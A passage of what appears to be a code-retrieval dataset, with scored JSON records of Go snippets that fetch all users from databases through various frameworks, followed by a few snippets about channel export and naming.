"b8e0e374521c2aee6e5a3c562fc802a4", "score": "0.6868573", "text": "func GetAllUsers() ([]models.User, error) {\n\tusers, err := models.User{}.GetAny()\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn nil, err\n\t}\n\n\treturn users, nil\n}", "title": "" }, { "docid": "a7466cbdc6249577094de6b14a19efce", "score": "0.68532836", "text": "func GetAll(ctx context.Context, log metrics.Metrics, db *mdb.UserDB, page, responsePerPage int) (UserRecords, error) {\n\tlog.Emit(metrics.Info(\"Get Existing User\").WithFields(metrics.Field{\n\t\t\"page\": page,\n\t\t\"responsePerPage\": responsePerPage,\n\t}))\n\n\trecords, realTotalRecords, err := db.GetAllPerPage(ctx, \"asc\", \"public_id\", page, responsePerPage)\n\tif err != nil {\n\t\tlog.Emit(metrics.Error(err).WithFields(metrics.Field{\n\t\t\t\"page\": page,\n\t\t\t\"responsePerPage\": responsePerPage,\n\t\t}))\n\n\t\treturn UserRecords{}, err\n\t}\n\n\treturn UserRecords{\n\t\tPage: page,\n\t\tRecords: records,\n\t\tTotal: realTotalRecords,\n\t\tResponsePerPage: responsePerPage,\n\t}, nil\n}", "title": "" }, { "docid": "3417b81f8a10af171ad2f48ce722fac1", "score": "0.684966", "text": "func GetAllUsers(query map[string]string, limit int64,offset int64 ) (UserData []Users, number int64, err error) {\n\to := orm.NewOrm()\n\tqs := o.QueryTable(new(Users))\n\n\t// query k=v\n\tfor k, v := range query {\n\t\t// rewrite dot-notation to Object__Attribute\n\t\tk = strings.Replace(k, \".\", \"__\", -1)\n\t\tqs = qs.Filter(k, v)\n\t}\n\n\t//var l []Users\n\tnumber, _ = qs.Count()\n\t_, err = qs.OrderBy(\"-id\").Limit(limit,offset).All(&UserData)\n\t//if err == nil {\n\t//\tfor _, v := range l {\n\t//\t\tUserData = append(UserData,v)\n\t//\t}\n\t//}\n\treturn UserData,number,err\n}", "title": "" }, { "docid": "5da3cbd0a4bdc9ae9b9b612307b6034e", "score": "0.6847065", "text": "func (r *UserRepository) SelectAll() ([]*model.User, error) {\n\treturn r.SelectAllContext(context.TODO())\n}", "title": "" }, { "docid": "54c016b73a455e72ae5c52a436b9b3e1", "score": "0.68459636", "text": "func GetAll(c *gin.Context) {\n\tlistUserModel := ListAll()\n\tc.JSON(http.StatusOK, gin.H{\"user\": listUserModel})\n}", "title": "" }, { "docid": "eb27e3e4a8fc65eb63fe5e75b4d5afe0", "score": "0.68442196", "text": "func GetAllUsers(db *gorm.DB) []User {\n\tvar users []User\n\tdb.Table(\"users\").Select(\"username, classification\").\n\t\tOrder(\"[order] ASC\").Scan(&users)\n\treturn users\n}", "title": "" }, { "docid": "f6ca3c477eb23f02d3d29186ba31c687", "score": "0.68252915", "text": "func (user *User) Find(status string) ([]User, *errors.RestErr) {\n\tstmt, err := userdatabase.Client.Prepare(queryFindUser)\n\tif err != nil {\n\t\treturn nil, errors.NewInternalServerError(err.Error())\n\t}\n\tdefer stmt.Close()\n\n\trows, err := stmt.Query(status)\n\tif err != nil {\n\t\treturn nil, errors.NewInternalServerError(err.Error())\n\t}\n\tdefer rows.Close()\n\n\tresults := make([]User, 0)\n\tfor rows.Next() {\n\t\tvar user User\n\t\tif err := rows.Scan(&user.ID, &user.FirstName, &user.LastName, &user.Email, &user.DateCreated); err != nil {\n\t\t\treturn nil, mysqlutils.ParseError(err)\n\t\t}\n\t\tresults = append(results, user)\n\t}\n\n\tif len(results) == 0 {\n\t\treturn nil, errors.NotFoundError(fmt.Sprintf(\"No user matching status %s\", status))\n\t}\n\n\treturn results, nil\n\n}", "title": "" }, { "docid": "26ce5bf15bdeb8cc67d20978ae148a2d", "score": "0.68209535", "text": "func GetAllUsers(user *[]User) (err error) {\n\tif err = config.DB.Find(user).Error; err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "1d3a412e8959c4efa20e9d887fa5f6e3", "score": "0.6810742", "text": "func GetUsers(context *gin.Context) {\n\n\tvar users []models.User\n\tdatasource.DB.Find(&users)\n\tresponse.JSON(context, http.StatusOK, users)\n\n}", "title": "" }, { "docid": "87673a10e66e8cdb3817bbac670088ae", "score": "0.68100375", "text": "func GetAllUsers(c *gin.Context) {\n\n\tvar err error\n\tvar pagination serializers.Pagination\n\terr = c.BindQuery(&pagination)\n\tif err != nil {\n\t\tc.AbortWithStatusJSON(http.StatusBadRequest, gin.H{\n\t\t\t\"error\": constants.Errors().InvalidPagination,\n\t\t})\n\t\treturn\n\t}\n\n\tvar userFilter filter.User\n\terr = c.BindQuery(&userFilter)\n\tif err != nil {\n\t\tc.AbortWithStatusJSON(http.StatusBadRequest, gin.H{\n\t\t\t\"error\": constants.Errors().InvalidFilter,\n\t\t})\n\t\treturn\n\t}\n\tfilter.ConvertUserStringToLower(&userFilter)\n\n\trecordsCount, err := users.GetAllUsersCount(&userFilter)\n\tif err != nil {\n\t\tc.JSON(http.StatusInternalServerError, gin.H{\"error\": constants.Errors().InternalError})\n\t\tlog.Println(\"find all users query error\")\n\t\treturn\n\t}\n\tvar infoArray []serializers.UserInfo\n\tuserListResponse := serializers.UserListResponse{\n\t\tRecordsAffected: recordsCount,\n\t\tUserInfo: infoArray,\n\t}\n\tif recordsCount == 0 {\n\t\tc.JSON(http.StatusOK, userListResponse)\n\t\treturn\n\t}\n\n\tusersArray, err := users.GetAllUsers(&pagination, &userFilter)\n\tif err != nil {\n\t\tc.JSON(http.StatusInternalServerError, gin.H{\"error\": constants.Errors().InternalError})\n\t\tlog.Println(\"find all users query error\", err.Error())\n\t\treturn\n\t}\n\n\tvar info *serializers.UserInfo\n\n\tfor _, user := range usersArray {\n\t\tinfo = serializers.UserModelToUserInfo(&user)\n\t\tinfoArray = append(infoArray, *info)\n\t}\n\n\tuserListResponse = serializers.UserListResponse{\n\t\tRecordsAffected: recordsCount,\n\t\tUserInfo: infoArray,\n\t}\n\tc.JSON(http.StatusOK, userListResponse)\n}", "title": "" }, { "docid": "a7ac73a4cffd0c06a3185504b2081aa0", "score": "0.68093044", "text": "func GetAllUsers(c *gin.Context) {\n\tqueries := c.Request.URL.Query()\n\tfilter := utils.QueryToFilter(queries)\n\t// Convert `admin` field from string to boolean\n\tif filter[mongo.AdminKey] == \"true\" {\n\t\tfilter[mongo.AdminKey] = true\n\t} else if filter[mongo.AdminKey] == \"false\" {\n\t\tfilter[mongo.AdminKey] = false\n\t}\n\tc.JSON(200, gin.H{\n\t\t\"success\": true,\n\t\t\"data\": mongo.FetchUserInfo(filter),\n\t})\n}", "title": "" }, { "docid": "02759f6556a5a7b132368be1337942f8", "score": "0.6808045", "text": "func AllUsers() ([]User, error) {\n\trows, err := DB.Query(\"SELECT id, username, password, first_name, last_name FROM users\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\n\tusers := make([]User, 0)\n\tfor rows.Next() {\n\t\tuser := User{}\n\t\terr = rows.Scan(&user.ID, &user.Username, &user.Password, &user.FirstName, &user.LastName)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tusers = append(users, user)\n\t}\n\tif err = rows.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn users, nil\n}", "title": "" }, { "docid": "3a40707a69c452ac3934d129d6086630", "score": "0.6782656", "text": "func getAllUsers() ([]models.User, error) {\n\t// create the postgres db connection\n\tdb := createConnection()\n\n\t// close the db connection\n\tdefer db.Close()\n\n\tvar users []models.User\n\n\t// create the select statement\n\tsqlStatement := `SELECT * FROM users`\n\n\t// execute the sql statement\n\trows, err := db.Query(sqlStatement)\n\n\tif err != nil {\n\t\tlog.Fatalf(\"Unable to execute the query. %v\", err)\n\t}\n\n\t// close the statement\n\tdefer rows.Close()\n\n\t// iterate over the rows\n\tfor rows.Next() {\n\t\tvar user models.User\n\n\t\t// unmarshal the row object to user\n\t\terr = rows.Scan(&user.ID, &user.Name, &user.Age, &user.Location)\n\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Unable to scan row. %v\", err)\n\t\t}\n\n\t\t// append the user in the user slice\n\t\tusers = append(users, user)\n\t}\n\n\t// return empty user on error\n\treturn users, err\n}", "title": "" }, { "docid": "1d32b5422cf689c421c1d3c4e018750a", "score": "0.6776362", "text": "func GetAllUsers() []primitive.M {\n\tcur, err := userCollection.Find(context.Background(), bson.D{{}})\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tvar results []primitive.M\n\n\tfor cur.Next(context.Background()) { // Loop on cur for all the values in it.\n\t\tvar result bson.M\n\t\terrN := cur.Decode(&result)\n\t\tif errN != nil {\n\t\t\tlog.Fatal(errN)\n\t\t}\n\t\tresults = append(results, result)\n\t}\n\n\tif err := cur.Err(); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tcur.Close(context.Background())\n\treturn results\n}", "title": "" }, { "docid": "004b8aa069519335ee96f08132d62bf3", "score": "0.6770364", "text": "func (UsersObjMapper) GetAll(uid ...types.Uid) ([]types.User, error) {\n\treturn adaptr.UserGetAll(uid...)\n}", "title": "" }, { "docid": "512464581e0d73eef514cd0ff6e3872e", "score": "0.6763687", "text": "func AllUsers(c *fiber.Ctx) error {\n\tif err := middleware.IsAuthorized(c, \"users\"); err != nil {\n\t\treturn err\n\t}\n\n\t// add pagination\n\tpage, _ := strconv.Atoi(c.Query(\"page\", \"1\"))\n\n\treturn c.JSON(models.Paginate(database.DB, &models.User{}, page))\n}", "title": "" }, { "docid": "4fbf531d740da441459648fc57ea9899", "score": "0.6750237", "text": "func GetAllUsers(user *[]User) (err error) {\n\tif err = app.DB.Find(user).Error; err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "4ccae234c4cbc854c537a2c4eb3bc5f9", "score": "0.67436516", "text": "func (rc *userRestController) findUsers(cxt *gin.Context) {\n // Invokes the service by getting all users\n\tusers, err := rc.service.GetAll()\n\t// Check that the previous operation was successful\n\tif err != nil {\n\t\t// Returns an error 400 BAD REQUEST attaching the error message\n cxt.JSON(http.StatusBadRequest, gin.H{\"error\": err})\n return\n\t}\n\t\n\t// Formats the list of users in JSON\n\tcxt.JSON(http.StatusOK, users)\n}", "title": "" }, { "docid": "83ca2ad46f77c208b3be6e12e47852ca", "score": "0.6740475", "text": "func (r *Raw) GetAllUsers() ([]models.User, error) {\n\tvar users []models.User\n\n\trow, err := r.db.Query(`SELECT * FROM users;`)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor row.Next() {\n\t\tvar user models.User\n\t\ter := row.Scan(\n\t\t\t&user.ID,\n\t\t\t&user.FirstName,\n\t\t\t&user.LastName,\n\t\t\t&user.Age,\n\t\t\t&user.CreatedAt,\n\t\t\t&user.UpdatedAt,\n\t\t)\n\t\tif er != nil {\n\t\t\treturn nil, er\n\t\t}\n\t\tif user.FirstName != \"\" {\n\t\t\tusers = append(users, user)\n\t\t}\n\n\t}\n\n\tif len(users) < 1 {\n\t\treturn nil, errors.New(\"no record found\")\n\t}\n\n\treturn users, nil\n\n}", "title": "" }, { "docid": "6f8410b7ae745cba00ce9f62d7e655fc", "score": "0.67381227", "text": "func AllUsersEndPoint(w http.ResponseWriter, r *http.Request) {\n\tusers, err := dao.FindAll()\n\tif err != nil {\n\t\trespondWithError(w, http.StatusInternalServerError, err.Error())\n\t\treturn\n\t}\n\trespondWithJSON(w, http.StatusOK, users)\n}", "title": "" }, { "docid": "60ccd9a3e11b6a546308c7d99091ed44", "score": "0.673543", "text": "func GetAllUsers(c *gin.Context) {\n\tvar user []models.User\n\terr := models.GetAllUsers(&user)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tc.AbortWithStatus(http.StatusNotFound)\n\t} else {\n\t\tc.JSON(http.StatusOK, user)\n\t}\n}", "title": "" }, { "docid": "867e5a8a5eed6457002b8b7f47ad87f2", "score": "0.67327946", "text": "func (r *UserRepository) SearchAll(query *orm.RQLQuery) ([]*model.User, error) {\n\treturn r.SearchAllContext(context.TODO(), query)\n}", "title": "" }, { "docid": "5ba22b1caa9669ea0ba340bc8b581b98", "score": "0.67291874", "text": "func GetAllUser(c *gin.Context) {\n\n\tvar (\n\t\tUsers []models.Users\n\t)\n\n\t// claims := c.MustGet(\"decoded\").(*models.Claims)\n\n\t// if claims.IsAdmin() || claims.IsMGR() || claims.IsAdmP() {\n\t// \tfmt.Println(\"You have permission for this access\")\n\t// } else {\n\t// \tc.JSON(500, gin.H{\n\t// \t\t\"Message\": \"You don't have the permission \",\n\t// \t})\n\t// \treturn\n\t// }\n\n\t// Memilih Tabel\n\tcollection := db.Collection(\"users\")\n\n\t// Menentukan waktu koneksi query\n\tctx, _ := context.WithTimeout(context.Background(), 30*time.Second)\n\n\t// Fungi jika terdapat filter yang dikirim kan lewat parameter\n\tsearch := c.Request.URL.Query()\n\tfilter := bson.M{}\n\tif len(search) > 0 {\n\t\tfor key, val := range search {\n\t\t\tif key == \"role\" || key == \"role2\" || key == \"role3\" || key == \"role4\" {\n\t\t\t\ti, err := strconv.Atoi(val[0])\n\t\t\t\tif err != nil {\n\t\t\t\t\ti = 0\n\t\t\t\t}\n\t\t\t\tfmt.Println(i)\n\t\t\t\tif _, exist := filter[\"$or\"]; !exist {\n\t\t\t\t\tfilter[\"$or\"] = []bson.M{}\n\t\t\t\t}\n\t\t\t\tfilter[\"$or\"] = append(filter[\"$or\"].([]bson.M), bson.M{\n\t\t\t\t\t\"role\": i,\n\t\t\t\t})\n\t\t\t} else {\n\t\t\t\tif _, exist := filter[\"$or\"]; !exist {\n\t\t\t\t\tfilter[\"$or\"] = []bson.M{}\n\t\t\t\t}\n\t\t\t\tfilter[\"$or\"] = append(filter[\"$or\"].([]bson.M), bson.M{key: primitive.Regex{Pattern: val[0], Options: \"i\"}})\n\t\t\t}\n\t\t}\n\t}\n\t//get data taro di cursor\n\t// cursor, err := collection.Find(ctx, filter)\n\tfilterProjection := bson.D{\n\t\t{\"password\", 0},\n\t\t{\"username\", 0},\n\t}\n\n\tcursor, err := collection.Find(ctx, filter, options.Find().SetProjection(filterProjection))\n\tif err != nil {\n\t\tresult := gin.H{\n\t\t\t\"Status\": \"Internal Server Error\",\n\t\t}\n\t\tc.JSON(501, result)\n\t\treturn\n\t}\n\tdefer cursor.Close(ctx)\n\n\t// Loping data cursor\n\tfor cursor.Next(ctx) {\n\t\tvar User models.Users\n\t\tcursor.Decode(&User)\n\t\t// masukan kedalam array struct\n\t\tUsers = append(Users, User)\n\t}\n\tif err := cursor.Err(); err != nil {\n\t\tresult := gin.H{\n\t\t\t\"Status\": \"Internal Server Error\",\n\t\t}\n\t\tc.JSON(501, result)\n\t\treturn\n\t}\n\n\tresult := gin.H{\n\t\t\"data\": Users,\n\t}\n\tc.JSON(http.StatusOK, result)\n}", "title": "" }, { "docid": "b3682aa95d9c89efabc806f0b6ae7f33", "score": "0.67285776", "text": "func (u *UserRepository) List(ctx context.Context) ([]obj.User, error) {\n\n\trows, err := u.db.QueryContext(ctx, \"SELECT * FROM \\\"contactsApi\\\".\\\"users\\\"\")\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to fetch users from database: %s\", err)\n\t}\n\n\tusers := []obj.User{}\n\n\tdefer rows.Close()\n\tfor rows.Next() {\n\t\tuser := obj.User{}\n\t\terr = rows.Scan(\n\t\t\t&user.ID,\n\t\t\t&user.FirstName,\n\t\t\t&user.LastName,\n\t\t\t&user.UpdatedAt,\n\t\t\t&user.CreatedAt)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to map row to user: %s\", err)\n\t\t}\n\t\tusers = append(users, user)\n\t}\n\treturn users, nil\n}", "title": "" }, { "docid": "cc37fa22bd096277e858766a74aeeab7", "score": "0.6724309", "text": "func (u UserController) GetUsers(c *gin.Context) {\n\tusers := []entity.User{}\n\tdatabase.GetDB().Select(\"name, email, address, age\").Find(&users)\n\n\tc.JSON(http.StatusOK, gin.H{\n\t\t\"status\": http.StatusOK,\n\t\t\"message\": \"Success get all users\",\n\t\t\"result\": users,\n\t})\n}", "title": "" }, { "docid": "46ea1c65397d5e1a36f9d7db7c460e58", "score": "0.6723108", "text": "func GetAllUsers(ctx *fiber.Ctx) error {\n\tusers := repositories.FindAllUsers()\n\treturn ctx.Status(fiber.StatusOK).JSON(fiber.Map{\n\t\t\"success\": \"Got All Users\",\n\t\t\"data\": fiber.Map{\n\t\t\t\"users\": users,\n\t\t},\n\t})\n}", "title": "" }, { "docid": "024df67c418d1102bfc7e0fe16678ac8", "score": "0.6716858", "text": "func (uq *UserQuery) All(ctx context.Context) ([]*User, error) {\n\tctx = setContextOp(ctx, uq.ctx, \"All\")\n\tif err := uq.prepareQuery(ctx); err != nil {\n\t\treturn nil, err\n\t}\n\tqr := querierAll[[]*User, *UserQuery]()\n\treturn withInterceptors[[]*User](ctx, uq, qr, uq.inters)\n}", "title": "" }, { "docid": "1350b088a4cd3a42c6ad436833182597", "score": "0.66990864", "text": "func GetAllUsers(u *[]models.User) (err error) {\n\tif err = config.DB.Find(u).Error; err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "5a5f06c2415d66d4bd76fce7a43739a9", "score": "0.6665876", "text": "func GetAllUsers() []users.User {\n\tif DB == nil {\n\t\tfmt.Println(\"Database not connected!\")\n\t\treturn nil\n\t}\n\n\trows, err := DB.Query(`SELECT * FROM users_view`)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer rows.Close()\n\n\tret := make([]users.User, 0)\n\tfor rows.Next() {\n\t\tvar r userRow\n\t\terr = r.scanUsersView(rows)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tret = append(ret, r.makeUser())\n\t}\n\n\terr = rows.Err()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn ret\n}", "title": "" }, { "docid": "af462920f80ee5250c76b4c5d1fc5134", "score": "0.6642199", "text": "func (s *UserService) List() ([]User, error) {\n\n\tresource := make([]User, 0)\n\n\trp, pagination, _, err := s.getPage(1, 200)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresource = append(resource, *rp...)\n\n\tif pagination != nil {\n\t\tfor *pagination.Page < *pagination.Pages {\n\t\t\trp, pg, _, err := s.getPage(*pagination.Page+1, 200)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tpagination = pg\n\t\t\tresource = append(resource, *rp...)\n\t\t}\n\t}\n\n\treturn resource, err\n}", "title": "" }, { "docid": "cc2883a30419c35ad314b762f50c8d8f", "score": "0.66313255", "text": "func (q twitterUserQuery) All() (TwitterUserSlice, error) {\n\tvar o []*TwitterUser\n\n\terr := q.Bind(&o)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"mdbmdbmodels: failed to assign all query results to TwitterUser slice\")\n\t}\n\n\treturn o, nil\n}", "title": "" }, { "docid": "d7a1d6837ba1690180b97dc67b04b73e", "score": "0.6628739", "text": "func (d *Database) GetAllUsers() ([]models.User, error) {\n\tdefer logElapsedTime(time.Now(), \"GetAllUsers\")\n\n\tvar users []models.User\n\trows, err := d.db.Query(`SELECT id, username, key FROM UserTable`)\n\tif err != nil {\n\t\treturn users, err\n\t}\n\tdefer closeSilent(rows)\n\n\tfor rows.Next() {\n\t\tu := models.User{}\n\t\tif err = rows.Scan(&u.UserId, &u.Username, &u.Key); err != nil {\n\t\t\treturn users, err\n\t\t}\n\t\tusers = append(users, u)\n\t}\n\n\treturn users, err\n}", "title": "" }, { "docid": "2f5c1d78333d28a0adb1f37d30fa27bf", "score": "0.66281974", "text": "func (u *usersAPI) FetchAll() ([]User, bool) {\n\tvar users []User\n\t_, err := DB.QueryTable(UserModel).All(&users)\n\treturn users, utils.ProcessError(err, \"fetch all users\")\n}", "title": "" }, { "docid": "7d127c66f9a0cc05ac49ecf4df349e57", "score": "0.6625966", "text": "func (muf MockUserFinder) FindAllByTypeAndArea(uType, area string) ([]*domain.User, error) {\n\treturn muf.users, muf.err\n}", "title": "" }, { "docid": "14e015a790bdd5ad0f2b979f6e6c16d0", "score": "0.6624949", "text": "func AllUsers(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\r\n\tusers, err := models.GetUsers()\r\n\tif err != nil {\r\n\t\tresponses.SERVER_ERROR.Send(w)\r\n\t\treturn\r\n\t}\r\n\tutils.JSON(w, users)\r\n}", "title": "" }, { "docid": "847ff4987afb10bf6cc103f6312af1fe", "score": "0.66131973", "text": "func GetUsers(db *sql.DB) {\n\tresults, err := db.Query(\"SELECT * FROM BikeTransport_db.Users\")\n\tif err != nil {\n\t\tError.Println(\"Failed to execute SQL command:\", err)\n\t\tlog.Fatalln(\"Failed to execute SQL command:\", err)\n\t}\n\n\tfor results.Next() {\n\t\tvar userx User\n\t\terr := results.Scan(&userx.Username, &userx.Password, &userx.First, &userx.Last, &userx.Email)\n\t\tif err != nil {\n\t\t\tError.Println(\"Failed to scan in SQL records:\", err)\n\t\t\tlog.Fatalln(\"Failed to scan in SQL records:\", err)\n\t\t}\n\t}\n\tInfo.Println(\"User records successfully retrieved.\")\n}", "title": "" }, { "docid": "6dd1561d3ad97cdb85535dc9a979e650", "score": "0.66095495", "text": "func (u *Users) ListAll(rw http.ResponseWriter, r *http.Request) {\n\tu.l.Println(\"Get all users\")\n\n\tusers := data.GetUsers(u.Db)\n\n\terr := data.ToJSON(&users, rw)\n\tif err != nil {\n\t\tu.l.Println(\"error encoding users\")\n\t}\n}", "title": "" }, { "docid": "69992e2b8c3b26bbe981d09a3f8019e7", "score": "0.66041887", "text": "func (s *UserService) Query(rs app.RequestScope, offset, limit int) ([]models.User, error) {\n\treturn s.dao.Query(rs, offset, limit)\n}", "title": "" }, { "docid": "d698f7eb199107ed5e21225ac51d6837", "score": "0.6597473", "text": "func (bl *MockBLUser) GetAll(reqCtx common.RequestContext, limit int64) (usrs []model.User, err error) {\n\tbl.Limit = limit\n\treturn usrs, bl.Err\n}", "title": "" }, { "docid": "4223066bc4da6b959b514d0e6aa431bd", "score": "0.65933406", "text": "func GetAllUser() {\n\tfmt.Println(\"ok\")\n\n\tu, err := dao.GetUser()\n\tif err != nil {\n\t\tfmt.Printf(\"GetAllUser %+v\\n\", err)\n\t\treturn\n\t}\n\n\tfmt.Println(u)\n}", "title": "" }, { "docid": "7537e7c67df6a70e82d3ca1c9e6296ab", "score": "0.6591537", "text": "func (store *noSQLStore) GetUsers() ([]*structs.User, error) {\n\tusers := []*structs.User{}\n\tfilter := bson.D{}\n\tclient, err := mongo.Connect(context.TODO(), store.clientOptions)\n choices := client.Database(\"indecision\").Collection(\"choices\")\n\n\tcur,err := choices.Find(context.TODO(),filter)\n\tfor cur.Next(context.TODO()) {\n\t\tvar elem structs.User\n\t\terr := cur.Decode(&elem)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n \n\t\tusers=append(users, &elem)\n\t}\n\tif err != nil {\n\t\treturn nil,err\n\t} \n\treturn users, nil\n}", "title": "" }, { "docid": "b6536ebe09d81c2b9d56befe03cc2726", "score": "0.6578767", "text": "func (d *Database) GetUserAll(email string) *User{\n\tquerystring := \"SELECT sex, age, weight, deadlift, squat, bench, overhead, date \" +\n\t\t\"FROM userdata WHERE email = '\" + email + \"';\"\n\trows, err := d.conn.Query(context.Background(), querystring)\n\tcheckErr(err)\n\tuser := User{\n\t\tEmail: email,\n\t}\n\tfor rows.Next() {\n\t\terr = rows.Scan(&user.Sex, &user.Age, &user.Weight, &user.Deadlift, &user.Squat, &user.Bench,\n\t\t\t&user.Overhead, &user.Date)\n\t\tcheckErr(err)\n\t}\n\treturn &user\n}", "title": "" }, { "docid": "dee15686fa4d3e832b1bb0188179f635", "score": "0.65726376", "text": "func (m *manager) List(ctx context.Context, query *q.Query) (models.Users, error) {\n\treturn m.dao.List(ctx, query)\n}", "title": "" }, { "docid": "250713e8b0d5b52a18d003eb7fdc2a01", "score": "0.65714", "text": "func FindUsers(provider xerogolang.IProvider, session goth.Session, querystringParameters map[string]string) (*Users, error) {\n\treturn FindUsersModifiedSince(provider, session, dayZero, querystringParameters)\n}", "title": "" }, { "docid": "3398ea7bf23fb65b48e1ef9c7136676b", "score": "0.6566196", "text": "func (storer *StorerMongodb) ReadAllUsers() (users []*model.User, err error) {\n\tvar cursor *driverCursor\n\tcursor, err = storer.findMany(userCollectionName, filterAll())\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"fail to ReadAllUsers.findMany(): %w\", err)\n\t}\n\tfor cursor.next() {\n\t\tvar user model.User\n\t\terr = cursor.decode(&user)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"fail to ReadAllUsers.decode(): %w\", err)\n\t\t}\n\t\tusers = append(users, &user)\n\t}\n\treturn users, nil\n}", "title": "" } ]
7156f161d5fdac61874d271dc97acde3
ExportByName exports a channel's full configuration, keyed on channel name.
[ { "docid": "d5fff3dcb07a4ba870b861660f2432ee", "score": "0.80061436", "text": "func ExportByName(ctx context.Context, exec boil.ContextExecutor, name string) (*Config, error) {\n\treturn export(ctx, exec, models.ChannelWhere.Name.EQ(name))\n}", "title": "" } ]
[ { "docid": "99cbe5a0f0809aec8acd5bfcf4b640ba", "score": "0.5297144", "text": "func (c *Client) ChannelByName(orgID, channelName string) (*types.Channel, error) {\n\tvar response ChannelByNameResponse\n\n\tvars := NewChannelByNameVariables(orgID, channelName)\n\n\terr := c.DoQuery(ChannelByNameVarTemplate, vars, nil, &response)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif response.Data != nil {\n\t\treturn response.Data.Details, nil\n\t}\n\n\treturn nil, err\n}", "title": "" }, { "docid": "41b379118e3a9c9f7327453651864c37", "score": "0.5258336", "text": "func (c *Component) Export(name string) (e *Export, found bool) {\n\te, found = c.exports[name]\n\treturn\n}", "title": "" }, { "docid": "5718fb9dec32251dfebbdc454cdfbd5e", "score": "0.5103021", "text": "func (o HostingChannelOutput) Name() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *HostingChannel) pulumi.StringOutput { return v.Name }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "23cd611ff3f54972e861982f72395e66", "score": "0.5088991", "text": "func (ch *channel) Name() string {\n\treturn ch.name\n}", "title": "" }, { "docid": "ac3843a37b66cb6bfe0b3a6292000673", "score": "0.5004006", "text": "func (o AlertChannelOutput) Name() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *AlertChannel) pulumi.StringOutput { return v.Name }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "31da8573a7403df95cd80da3f6545178", "score": "0.49195212", "text": "func (snk *SinkConfig) Name(name string) *SinkConfig {\n\tsnk.name = name\n\treturn snk\n}", "title": "" }, { "docid": "c30873cf175a57a5824d35d35c59afe4", "score": "0.48736003", "text": "func (c *DiscordClient) SendByName(chanName string, msg string) error {\n\tfor _, channel := range c.channels {\n\t\tif channel.Name == chanName {\n\t\t\t_, err := c.ChannelMessageSend(channel.ID, msg)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn nil\n\t\t}\n\t}\n\treturn errors.New(\"No chan name found by name: \" + chanName)\n\n}", "title": "" }, { "docid": "add8ebe576de7883bfb7d1b226bc9bbd", "score": "0.48217663", "text": "func (o DeliveryOutput) DeliveryChannelName() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *Delivery) pulumi.StringPtrOutput { return v.DeliveryChannelName }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "f1653e2b5677119f4b16a968249110b2", "score": "0.47836557", "text": "func (c *Config) Name() string {\n\treturn \"statsd_exporter\"\n}", "title": "" }, { "docid": "706ddb8bed41e009776a4a177ee8d34a", "score": "0.47379923", "text": "func (channel *Channel) Name() string {\n\treturn channel.namespace + \":\" + channel.room\n}", "title": "" }, { "docid": "df021e1e874deb134292582cf7fa37e5", "score": "0.47250387", "text": "func (c *Channel) Name() string {\n\tc.nameMutex.Lock()\n\tdefer c.nameMutex.Unlock()\n\tname := c.name\n\treturn name\n}", "title": "" }, { "docid": "e46575eb541b86e46bcb0a2772e5928f", "score": "0.47149152", "text": "func (c CfgOutput) Name() string {\n\treturn c[\"name\"]\n}", "title": "" }, { "docid": "69349c1e403d43847db9f545ba0a837e", "score": "0.47050154", "text": "func (c *Config) Name() string {\n\treturn \"memcached_exporter\"\n}", "title": "" }, { "docid": "cfd7737fe12fdb253d83c3ba07262d75", "score": "0.46801558", "text": "func (c *Client) ChannelVersionByName(orgID, channelName, versionName string) (*types.DeployableVersion, error) {\n\tvar response ChannelVersionByNameResponse\n\n\tvars := NewChannelVersionByNameVariables(orgID, channelName, versionName)\n\n\terr := c.DoQuery(ChannelVersionByNameVarTemplate, vars, nil, &response)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif response.Data != nil {\n\t\treturn response.Data.Details, nil\n\t}\n\n\treturn nil, err\n}", "title": "" }, { "docid": "ce99b7cdeb4ed4eff3047eeda774c1f0", "score": "0.46428567", "text": "func (s *InfluxSink) Name() string {\n\treturn s.config.Name\n}", "title": "" }, { "docid": "024bb7270f89792b5bc0ba7a20e10761", "score": "0.4623314", "text": "func NewNamedChannel(ctx Context, name string) Channel {\n\treturn internal.NewNamedChannel(ctx, name)\n}", "title": "" }, { "docid": "89ccf5c4a09c5229aafc63e228221020", "score": "0.46172526", "text": "func (slk *Slk) ChannelName(code string) string {\n\tif channel, ok := slk.channelCache[code]; ok {\n\t\treturn channel.Name\n\t}\n\treturn \"???\"\n}", "title": "" }, { "docid": "4ed8f3b9ac55ede32a58544640bede68", "score": "0.4598643", "text": "func (broker *Broker) ChannelName(namespace string, room string) string {\n\treturn namespace + \":\" + room\n}", "title": "" }, { "docid": 